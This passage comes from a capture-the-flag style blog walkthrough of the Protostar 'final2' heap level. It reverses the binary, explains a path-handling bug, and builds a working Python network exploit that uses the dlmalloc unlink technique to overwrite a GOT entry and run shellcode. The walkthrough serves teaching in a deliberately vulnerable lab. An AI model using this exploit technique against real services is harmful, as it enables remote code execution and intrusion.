    0x0804bdcb <get_requests+132>:  add    eax,0x4                     ; *buf + 4
    0x0804bdce <get_requests+135>:  mov    DWORD PTR [esp],eax
    0x0804bdd1 <get_requests+138>:  call   0x804bcd0 <check_path>      ; call check_path
    

    Finally the pointer to the buffer (minus the 4 byte magic key) is passed to the check_path() function.

    Before digging into the check_path(), let's have a look at the remainder of tasks performed by the get_requests():

    0x0804bde2 <get_requests+155>:  mov    DWORD PTR [ebp-0xc],0x0     ; j
    0x0804bde9 <get_requests+162>:  jmp    0x804be1c <get_requests+213>; loop
      :
    0x0804be18 <get_requests+209>:  add    DWORD PTR [ebp-0xc],0x1     ; j++
    0x0804be1c <get_requests+213>:  mov    eax,DWORD PTR [ebp-0xc]     ; j
    0x0804be1f <get_requests+216>:  cmp    eax,DWORD PTR [ebp-0x10]    ; compare j to i
    0x0804be22 <get_requests+219>:  jl     0x804bdeb <get_requests+164>; loop if j < i
    

    Another loop is done up to the number of chunks read in from the previous loop.

    0x0804bdeb <get_requests+164>:  mov    DWORD PTR [esp+0x8],0xb     ; 11
    0x0804bdf3 <get_requests+172>:  mov    DWORD PTR [esp+0x4],0x804c2d6 ; "Process OK\n"
    0x0804bdfb <get_requests+180>:  mov    eax,DWORD PTR [ebp+0x8]     ; fd
    0x0804bdfe <get_requests+183>:  mov    DWORD PTR [esp],eax
    0x0804be01 <get_requests+186>:  call   0x8048dfc <write@plt>       ; print string
    ;------------------------------------------------------------------------------
    0x0804be06 <get_requests+191>:  mov    eax,DWORD PTR [ebp-0xc]     ; i 
    0x0804be09 <get_requests+194>:  mov    eax,DWORD PTR [ebp+eax*4-0x414]; get ptr at
                                                                      ; destroylist[i]
    0x0804be10 <get_requests+201>:  mov    DWORD PTR [esp],eax
    0x0804be13 <get_requests+204>:  call   0x804a9c2 <free>            ; free chunk
    

    Within the second loop, a simple string Process OK is printed followed by the call to free() on the previously allocated chunk.

    Reversing check_path()

    Once the received packet passes length and header tests in get_requests(), it is sent to check_path() for further processing:

    0x0804bcd6 <check_path+6>:      mov    DWORD PTR [esp+0x4],0x2f ; '/' character
    0x0804bcde <check_path+14>:     mov    eax,DWORD PTR [ebp+0x8]  ; buffer pointer
    0x0804bce1 <check_path+17>:     mov    DWORD PTR [esp],eax
    0x0804bce4 <check_path+20>:     call   0x8048f7c <rindex@plt>   ; pointer to the last instance of '/'
    0x0804bce9 <check_path+25>:     mov    DWORD PTR [ebp-0x10],eax ; p
    

    First, the last instance (rightmost) of the '/' character is located in the buffer.

    0x0804bcec <check_path+28>:     mov    eax,DWORD PTR [ebp-0x10]
    0x0804bcef <check_path+31>:     mov    DWORD PTR [esp],eax
    0x0804bcf2 <check_path+34>:     call   0x8048edc <strlen@plt>   ; length of string up to the last '/'
    0x0804bcf7 <check_path+39>:     mov    DWORD PTR [ebp-0xc],eax  ; l
    0x0804bcfa <check_path+42>:     cmp    DWORD PTR [ebp-0x10],0x0 ; check p is not nullptr
    0x0804bcfe <check_path+46>:     je     0x804bd45 <check_path+117> ; jump if not found
    

    The remainder buffer length is calculated starting at the '/' character to the end of the buffer.

    0x0804bd00 <check_path+48>:     mov    DWORD PTR [esp+0x4],0x804c2cc ; "ROOT"
    0x0804bd08 <check_path+56>:     mov    eax,DWORD PTR [ebp+0x8]
    0x0804bd0b <check_path+59>:     mov    DWORD PTR [esp],eax
    0x0804bd0e <check_path+62>:     call   0x8048f4c <strstr@plt>   ; find substring
    0x0804bd13 <check_path+67>:     mov    DWORD PTR [ebp-0x14],eax ; start
    0x0804bd16 <check_path+70>:     cmp    DWORD PTR [ebp-0x14],0x0 ; compare to null
    0x0804bd1a <check_path+74>:     je     0x804bd45 <check_path+117> ; jump if not found
    

    Another search is performed looking for the substring ROOT.

    0x0804bd1c <check_path+76>:     jmp    0x804bd22 <check_path+82>; loop
    0x0804bd1e <check_path+78>:     sub    DWORD PTR [ebp-0x14],0x1 ; *start--
    0x0804bd22 <check_path+82>:     mov    eax,DWORD PTR [ebp-0x14] ; start
    0x0804bd25 <check_path+85>:     movzx  eax,BYTE PTR [eax]       ; load byte
    0x0804bd28 <check_path+88>:     cmp    al,0x2f                  ; compare to '/'
    0x0804bd2a <check_path+90>:     jne    0x804bd1e <check_path+78>; loop until found
    

    Going in reverse from the pointer to the ROOT substring, the function decrements position in memory until '/' is found.

    0x0804bd2c <check_path+92>:     mov    eax,DWORD PTR [ebp-0xc]  ; l
    0x0804bd2f <check_path+95>:     mov    DWORD PTR [esp+0x8],eax
    0x0804bd33 <check_path+99>:     mov    eax,DWORD PTR [ebp-0x10] ; p
    0x0804bd36 <check_path+102>:    mov    DWORD PTR [esp+0x4],eax
    0x0804bd3a <check_path+106>:    mov    eax,DWORD PTR [ebp-0x14] ; start
    0x0804bd3d <check_path+109>:    mov    DWORD PTR [esp],eax
    0x0804bd40 <check_path+112>:    call   0x8048f8c <memmove@plt>  ; copy l characters from p to start
    

    The address calculated as a result of the reverse search for the '/' character is used as a destination for the memmove() call. The source is the original buffer address at the point where the last '/' character was found. Finally, the remainder bytes from the last instance of '/' are copied to the destination.

    Vulnerability

    The vulnerability lies in the search back loop which starts at the ROOT substring, but does not check the current buffer's starting point. As a result if we craft two adjacent packets like in the diagram below, the loop will locate the target address for the subsequent memmove() call in the previous packet:

           packet #1                  packet #2
    +----+----------------+ \\ +----+----------------+
    |FSRD|AAAA...AAAA/AAAA| // |FSRD|ROOT...AAAA/BBBB|
    +----+----------------+ \\ +----+----------------+
                      /|\                        \  / 
                       |         memmove()        ||
                       +--------------------------++
    

    This potential overwrite condition can be confirmed with the following script:

    #!/usr/bin/env python
    import sys, socket
    from struct import pack, unpack
    from binascii import hexlify
    
    HOST = sys.argv[1]
    PORT = 2993
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    payload1 = "FSRD" + "A"*(128-5-4) + "/" + "AAAA"
    s.sendall(payload1)
    
    payload2 = "FSRD" + "ROOT" + "A"*(128-8-5) + "/" + "BBBB"
    s.sendall(payload2)
    
    # terminate session
    s.sendall("A"*128)
    
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    
    s.close()
    

    Let's confirm in the debugger that we can successfully overwrite the last four bytes of the packet #1 with the last four bytes from the packet #2:

    $ ps aux | grep final2
    root      1678  0.0  0.0   1544   284 ?        Ss   Mar27   0:00 /opt/protostar/bin/final2
    $ sudo gdb ./final2 -p 1678
    (gdb) set follow-fork-mode child
    (gdb) set detach-on-fork off
    (gdb) break *get_requests+143
    Breakpoint 1 at 0x804bdd6: file final2/final2.c, line 51.
    (gdb) c
    Continuing.
    [New process 27954]
    [Switching to process 27954]
    
    Breakpoint 1, get_requests (fd=4) at final2/final2.c:51
    (gdb) x/3x $ebp-0x414
    0xbffff844:     0x0804e008      0x00000000      0xbffff8e0
    (gdb) x/32wx 0x0804e008
    0x804e008:      0x44525346      0x41414141      0x41414141      0x41414141
    0x804e018:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e028:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e038:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e048:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e058:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e068:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e078:      0x41414141      0x41414141      0x2f414141      0x41414141
                                                      /             ----------
            the '/' character searched by reverse loop             /
                                                                  /
                                          target for the overwrite
    
    (gdb) c
    Continuing.
    
    Breakpoint 1, get_requests (fd=4) at final2/final2.c:51
    (gdb) x/32wx 0x0804e008
    0x804e008:      0x44525346      0x41414141      0x41414141      0x41414141
    0x804e018:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e028:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e038:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e048:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e058:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e068:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e078:      0x41414141      0x41414141      0x2f414141      0x42424242
                                                                    ----------
                                                                   /
                                           successfully overwritten
    

    With the ability to overwrite arbitrary number of bytes following a strategically placed '/' character in the previous heap chunk, we can perform a classic heap overflow exploit using the unlink() technique covered as discussed in the Exploit Exercises - Protostar - Heap Levels writeup.

    Exploitation

    At this point let's decide on the exploitation strategy. The solution from the Heap 3 relies on overwriting a chunk's prev_size value with a negative value. Once the backward consolidation kicks in, we would be able to overwrite arbitrary address with a 4 byte value by creating a virtual previous chunk. Since we can't overwrite prev_size in the first chunk, let target the second chunk instead with the following payload:

    payload1 = "FSRD" + "A"*(128-5) + "/"
    s.sendall(payload1)
    
    heapbuf = "\xfc\xff\xff\xff" + "\xf0\xff\xff\xff" + "BBBB" + "CCCC"
    payload2 = "FSRD" + "ROOT" + "A"*(128-9-len(heapbuf)) + "/" + heapbuf
    s.sendall(payload2)
    

    Unfortunately, the method of abusing backward chunk consolidation is not going to work. Even though we would be able to successfully overwrite prev_size in the second chunk at 0x804e088 with the value 0xfffffffc, the very first free() call on the previous chunk would corrupt it.

    Below are memory dumps of the second chunk before and after the first chunk was freed:

    (gdb) x/34wx 0x0804e090-8 <-- before the first free()
    0x804e088:      0xfffffffc      0xfffffff0      0x42424242      0x43434343
    0x804e098:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0a8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0b8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0c8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0d8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0e8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0f8:      0x41414141      0x2f414141      0xfffffffc      0xfffffff0
    0x804e108:      0x42424242      0x43434343
    
    (gdb) x/34wx 0x0804e090-8  <-- after the first free()
    0x804e088:      0x00000088      0xfffffff0      0x42424242      0x43434343
    0x804e098:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0a8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0b8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0c8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0d8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0e8:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e0f8:      0x41414141      0x2f414141      0xfffffffc      0xfffffff0
    0x804e108:      0x42424242      0x43434343
    

    Notice how the prev_size in the second chunk was replaced with a legitimate value of 0x88 as was expected . By subtracting 0x88 from the second chunk's address, 0x804e088, we are going to end up in the first chunk holding legitimate pointers that we do not control:

    (gdb) x/34wx 0x0804e008-8
    0x804e000:      0x00000000      0x00000089      0x0804d534      0x0804d534
    0x804e010:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e020:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e030:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e040:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e050:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e060:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e070:      0x41414141      0x41414141      0x41414141      0x41414141
    0x804e080:      0x41414141      0x2f414141
    

    This makes the previously used method of abusing backward consolidation not applicable.

    However, recall how we had to "massage" the heap when it tried to do forward consolidation on the next chunk. The code block we have skipped last time was actually going to perform similar unlinking operation that could be abused with the same result as the backward consolidation. Let's go over the free() code flow which processes the next chunk:

    NOTE: The addresses below are from the previous exercise; however, function offsets are still valid. Sorry for any confusion, I am being a bit lazy here =).

    The next_chunk is calculated by simply adding current chunk's address to its size as follows:

    0x80498aa <free+134>:   mov    eax,DWORD PTR [ebp-0x30] ; chunk_size
    0x80498ad <free+137>:   mov    edx,DWORD PTR [ebp-0x34] ; chunk
    0x80498b0 <free+140>:   lea    eax,[edx+eax*1]          ; next_chunk
    0x80498b3 <free+143>:   mov    DWORD PTR [ebp-0x28],eax ; store next_chunk
    0x80498b6 <free+146>:   mov    eax,DWORD PTR [ebp-0x28]
    0x80498b9 <free+149>:   mov    eax,DWORD PTR [eax+0x4]  ; next_chunk_size_flags
    0x80498bc <free+152>:   and    eax,0xfffffffc           ; zero last two flag bits
    0x80498bf <free+155>:   mov    DWORD PTR [ebp-0x24],eax ; next_chunk_size
    

    Based on the address and size of the next_chunk, a pointer to yet another (let's call it next_next) chunk is calculated. The reason for this extra operation is to get to the subsequent chunk's PREV_INUSE flag value:

    0x8049918 <free+244>:   mov    eax,DWORD PTR [ebp-0x24] ; next_chunk_size
    0x804991b <free+247>:   mov    edx,DWORD PTR [ebp-0x28] ; next_chunk
    0x804991e <free+250>:   lea    eax,[edx+eax*1]          ; next_next_chunk
    0x8049921 <free+253>:   mov    eax,DWORD PTR [eax+0x4]  ; next_next_chunk_size_flags
    0x8049924 <free+256>:   and    eax,0x1                  ; PREV_INUSE
    0x8049927 <free+259>:   mov    DWORD PTR [ebp-0x20],eax ; store flag value
    0x804992a <free+262>:   mov    eax,DWORD PTR [ebp-0x28] ; next_chunk
    0x804992d <free+265>:   mov    edx,DWORD PTR [ebp-0x24] ; next_chunk_size
    0x8049930 <free+268>:   mov    DWORD PTR [eax+0x4],edx  ; store next_chunk_size
    0x8049933 <free+271>:   cmp    DWORD PTR [ebp-0x20],0x0 ; check PREV_INUSE
    0x8049937 <free+275>:   jne    0x8049963 <free+319>     ; jump if the flag is set
    

    If the PREV_INUSE flag is not set, then the chunk immediately following the chunk we are trying to free in the first place is not in use. As a result, the following forward consolidation routine is triggered resulting in the vulnerable unlinking operation:

    0x8049939 <free+277>:   mov    eax,DWORD PTR [ebp-0x28] ; next_chunk
    0x804993c <free+280>:   mov    eax,DWORD PTR [eax+0x8]  ; next_chunk->fd
    0x804993f <free+283>:   mov    DWORD PTR [ebp-0x14],eax ; FD
    0x8049942 <free+286>:   mov    eax,DWORD PTR [ebp-0x28] ; next_chunk
    0x8049945 <free+289>:   mov    eax,DWORD PTR [eax+0xc]  ; next_chunk->bk
    0x8049948 <free+292>:   mov    DWORD PTR [ebp-0x18],eax ; BK
    ;------------------------------------------------------------------------------
    0x804994b <free+295>:   mov    eax,DWORD PTR [ebp-0x14] ; FD
    0x804994e <free+298>:   mov    edx,DWORD PTR [ebp-0x18] ; BK
    0x8049951 <free+301>:   mov    DWORD PTR [eax+0xc],edx  ; FD->bk = BK <-- crash
    0x8049954 <free+304>:   mov    eax,DWORD PTR [ebp-0x18] ; BK
    0x8049957 <free+307>:   mov    edx,DWORD PTR [ebp-0x14] ; FD
    0x804995a <free+310>:   mov    DWORD PTR [eax+0x8],edx  ; BK->fd = FD <-- crash
    

    Thus, if we were to modify second chunk's chunk_size value to point to yet another virtual next_next_chunk with the PREV_INUSE flag not set, then we would be able to perform the 4 byte overwrite. Below is a simple illustration of the exploit:

     /---- First Chunk -----\ /----- Next Chunk ----\ 
    +----+----+--------------+----+----+----+----+----+
    |    |    | AAAA....AAAA/|\xfe| -4 |BBBB|CCCC|... | 
    +----+----+--------------+----+----+----+----+----+
                        :                         :
                        :/Virtual Next-Next Chunk\:
                        +----+----+----+----------+
                        |    |\xfe|    |   ...    |
                        +----+----+----+----------+
                                |
                            Any value with last bit == 0
                            so that PREV_INUSE is false.
    

    Notice that because the next chunk size is -4 the value immediately preceding it will be used as next_next_chunk's size value for flag calculation. Let's build a simple proof of concept payload and test it out:

    payload1 = "FSRD" + "A"*(128-5) + "/"
    s.sendall(payload1) # first chunk
    
    heapbuf= "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "BBBB" + "CCCC" # current chunk
    payload2 = "FSRD" + "ROOT" + "A"*(128-9-len(heapbuf)) + "/" + heapbuf
    s.sendall(payload2) # next chunk
    
    # terminate session
    s.sendall("\xcc"*30) # shellcode chunk
    

    Here is the debugger output:

    (gdb) inferior 1
    [Switching to thread 1 (process 1729)]
    (gdb) c
    Continuing.
    [New process 11287]
    
    Program received signal SIGSEGV, Segmentation fault.
    [Switching to process 11287]
    0x0804aaef in free (mem=0x804e008) at final2/../common/malloc.c:3648
    3648    final2/../common/malloc.c: No such file or directory.
            in final2/../common/malloc.c
    Current language:  auto
    The current source language is "auto; currently c".
    (gdb) x/5i $eip
    0x804aaef <free+301>:   mov    DWORD PTR [eax+0xc],edx
    0x804aaf2 <free+304>:   mov    eax,DWORD PTR [ebp-0x18]
    0x804aaf5 <free+307>:   mov    edx,DWORD PTR [ebp-0x14]
    0x804aaf8 <free+310>:   mov    DWORD PTR [eax+0x8],edx
    0x804aafb <free+313>:   mov    eax,DWORD PTR [ebp-0x24]
    (gdb) i r eax edx
    eax            0x42424242       1111638594
    edx            0x43434343       1128481603
    

    Great! Now, let's figure out an address to overwrite. Just to keep things clean, I will use the address of a special "shellcode chunk" as the value:

    (gdb) x/3x $ebp-0x414
    0xbffff844:     0x0804e008      0x0804e090      0x0804e118 <-- shellcode chunk
    (gdb) x/20x  0x0804e118
    0x804e118:      0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
    0x804e128:      0xcccccccc      0xcccccccc      0xcccccccc      0x0000cccc
    0x804e138:      0x00000000      0x00000000      0x00000000      0x00000000
    0x804e148:      0x00000000      0x00000000      0x00000000      0x00000000
    0x804e158:      0x00000000      0x00000000      0x00000000      0x00000000
    

    The target address can be the GOT entry for the write() call that prints out the "Process OK" message before each free():

    (gdb) x/i 0x8048dfc
    0x8048dfc <write@plt>:  jmp    DWORD PTR ds:0x804d41c
    (gdb) x/x 0x804d41c
    0x804d41c <_GLOBAL_OFFSET_TABLE_+64>:   0xb7f53c70
    

    So the target address in the exploit is 0x804d41c - 0xc (to compensate for mov DWORD PTR [eax+0xc],edx) and the value is 0x804e118. Below is the updated payload:

    payload1 = "FSRD" + "A"*(128-5) + "/"
    s.sendall(payload1) # first chunk
    
    heapbuf= "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x18\xe1\x04\x08" # current chunk
    payload2 = "FSRD" + "ROOT" + "A"*(128-9-len(heapbuf)) + "/" + heapbuf
    s.sendall(payload2) # next chunk
    
    # terminate session
    s.sendall("\xcc"*30) # shellcode chunk
    

    The debugging session shows the correct code flow:

    (gdb) c
    Continuing.
    [New process 11359]
    [Switching to process 11359]
    
    Breakpoint 1, free (mem=0x804e008) at final2/../common/malloc.c:3583
    3583    final2/../common/malloc.c: No such file or directory.
            in final2/../common/malloc.c
    (gdb) c
    Continuing.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804e119 in ?? ()
    (gdb) x/5i $eip
    0x804e119:      int3
    0x804e11a:      int3
    0x804e11b:      int3
    0x804e11c:      int3
    0x804e11d:      int3
    

    Great we are now ready to put finishing touches by substituting the real shellcode:

    #!/usr/bin/env python
    import sys, socket
    from struct import pack, unpack
    from binascii import hexlify
    
    HOST = sys.argv[1]
    PORT = 2993
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
    shellcode = "\x90"*(128-len(shellcode)) + shellcode
    
    payload1 = "FSRD" + "A"*(128-5) + "/"
    s.sendall(payload1) # first chunk
    
    heapbuf= "\xfe\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x18\xe1\x04\x08" # current chunk
    payload2 = "FSRD" + "ROOT" + "A"*(128-9-len(heapbuf)) + "/" + heapbuf
    s.sendall(payload2) # next chunk
    
    # terminate session
    s.sendall(shellcode) # shellcode chunk
    
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    
    s.close()
    

    The output from the exploit:

    Process OK
    
    Owned!!!
    

    External Links and References

    Special Note

    Thanks to the folks at Exploit Exercises for creating the excellent wargame. I particularly appreciate the taem making the exercises highly pedagogical with progressive difficulty and building on the previously learned material.

    Published on June 8th, 2014 by iphelix

    sprawlsimilar

    exploit exercises - protostar - heap levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the heap exploitation portion of the wargame. Read more.

    exploit exercises - protostar - network levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the network exploitation portion of the wargame. Read more.

    exploit exercises - protostar - format string levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the format string exploitation portion of the wargame. Read more.

    exploit exercises - protostar - stack levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the stack exploitation portion of the wargame. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\